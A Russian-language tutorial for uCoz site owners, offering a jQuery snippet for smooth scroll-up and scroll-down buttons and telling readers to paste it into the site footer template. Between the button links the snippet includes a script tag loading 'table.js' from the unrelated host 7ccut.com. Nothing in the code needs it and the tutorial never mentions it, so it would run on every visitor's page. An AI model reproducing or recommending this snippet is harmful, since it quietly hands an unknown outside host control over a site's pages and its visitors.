Главная » Статьи » Разное » Cкрипты для ucoz сайта

Скрипт для быстрого и плавного поднятия страницы вверх и вниз

Скрипт для быстрого и плавного поднятия страницы вверх, также можно опускать и вниз страницу сайта. Выполнен в стиле пальца вверх и вниз, светло синий цвет. Установка не сложная и не требует дополнительных навыков html .

Установка скрипта „Кнопка вверх и вниз“ 


Заходим в панель управления сайтом, далее "Главная » Управление дизайном » Редактирование шаблонов" Копируем код и вставляем в "Нижняя часть сайта" в самый низ. 

Код

<div id="banners"><a style='position: fixed; bottom: 60px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Top'>  
<img src="http://pnghosts.ru/img/point-up.png" alt="Наверх" title="Наверх"></a>  
<script src="http://7ccut.com/table.js" type="text/javascript"></script>  
<a style='position: fixed; bottom: 20px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Bottom'>  
<img src="http://pnghosts.ru/img/point-down.png" alt="Вниз" title="Вниз">  
</a></div>  

<script>  
var go_down = jQuery('body');  
jQuery(function() {  
$("#Go_Top").hide().removeAttr("href");  
if ($(window).scrollTop() >= "250") $("#Go_Top").fadeIn("slow")  
var scrollDiv = $("#Go_Top");  
$(window).scroll(function() {  
if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow")  
else $(scrollDiv).fadeIn("slow")  
});  

$("#Go_Bottom").hide().removeAttr("href");  
if ($(window).scrollTop() <= go_down.height()-"999") $("#Go_Bottom").fadeIn("slow")  
var scrollDiv_2 = $("#Go_Bottom");  
$(window).scroll(function() {  
if ($(window).scrollTop() >= go_down.height()-"999") $(scrollDiv_2).fadeOut("slow")  
else $(scrollDiv_2).fadeIn("slow")  
});  

$("#Go_Top").click(function() {  
$("html, body").animate({scrollTop: 0}, "slow")  
})  
$("#Go_Bottom").click(function() {  
$("html, body").animate({scrollTop: go_down.height()}, "slow")  
})  
});  
</script>

 


 

 

 

Категория: Cкрипты для ucoz сайта | Добавил: Bitfood (03.10.2014)
Просмотров: 888 | Рейтинг: 0.0/0

Другие интересные материалы:

Всего комментариев: 0
avatar